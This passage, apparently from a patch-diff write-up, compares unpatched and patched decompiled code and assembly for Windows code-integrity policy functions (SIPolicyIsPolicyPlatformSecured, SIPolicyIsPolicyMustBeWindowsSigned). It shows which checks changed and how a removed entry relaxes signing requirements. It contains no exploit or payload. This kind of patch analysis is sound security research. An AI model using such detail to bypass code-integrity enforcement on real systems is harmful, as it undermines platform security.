&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFFFFFFF944ull&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6CC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4C0644C9A244370Eull&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6D4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7630566E01F651B5ull&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// identity match required&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED SIPolicyIsPolicyPlatformSecured @ 0x180074028:&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;SIPolicyIsPolicyPlatformSecured&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x710&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// same +0x710 offset in patched&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;// only the strict (a2!=0) path returns early&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// The (a2==0 &amp;amp;&amp;amp; v2&amp;amp;4) shortcut is REMOVED.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFFFFFFF944ull&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6CC&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4C0644C9A244370Eull&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x6D4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7630566E01F651B5ull&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;SIPolicyIsPolicyMustBeWindowsSigned (sub_18006FB74)&lt;/code&gt; (Hardcoded Windows-Signing Mandate List)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED SIPolicyIsPolicyMustBeWindowsSigned @ 0x18006FB74:&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;SIPolicyIsPolicyMustBeWindowsSigned&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4730CB9F976D12C8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x8E234308605452BE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4B5E588BA072029F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x87F67DD6AA05F9B7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// This entry is REMOVED in the patch (identity no longer forced Windows-signed):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x4C3279F4784C4414&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xD1DA542FBF0A5A6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// [remaining hardcoded comparisons, unchanged in both builds...]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SIPolicyGetSystemPolicyDefinitionByID&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED SIPolicyIsPolicyMustBeWindowsSigned @ 0x180073F34:&lt;/span&gt;
&lt;span class="c1"&gt;// The 0x4C3279F4784C4414 / 0xD1DA542FBF0A5A6 entry is entirely absent;&lt;/span&gt;
&lt;span class="c1"&gt;// all other entries are unchanged. Because a &amp;quot;must be Windows-signed&amp;quot; match&lt;/span&gt;
&lt;span class="c1"&gt;// blocks the customized-signed acceptance path in the caller, removing this&lt;/span&gt;
&lt;span class="c1"&gt;// entry RELAXES the requirement for that identity (it may now be accepted&lt;/span&gt;
&lt;span class="c1"&gt;// via customized signing).&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;SIPolicyIsPolicyPlatformSecured (sub_18006FC88)&lt;/code&gt; Assembly Analysis&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ci&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;SIPolicyIsPolicyPlatformSecured&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18006FC88&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strict&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;710&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;
&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_18006FCDD&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_18006FCE1&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
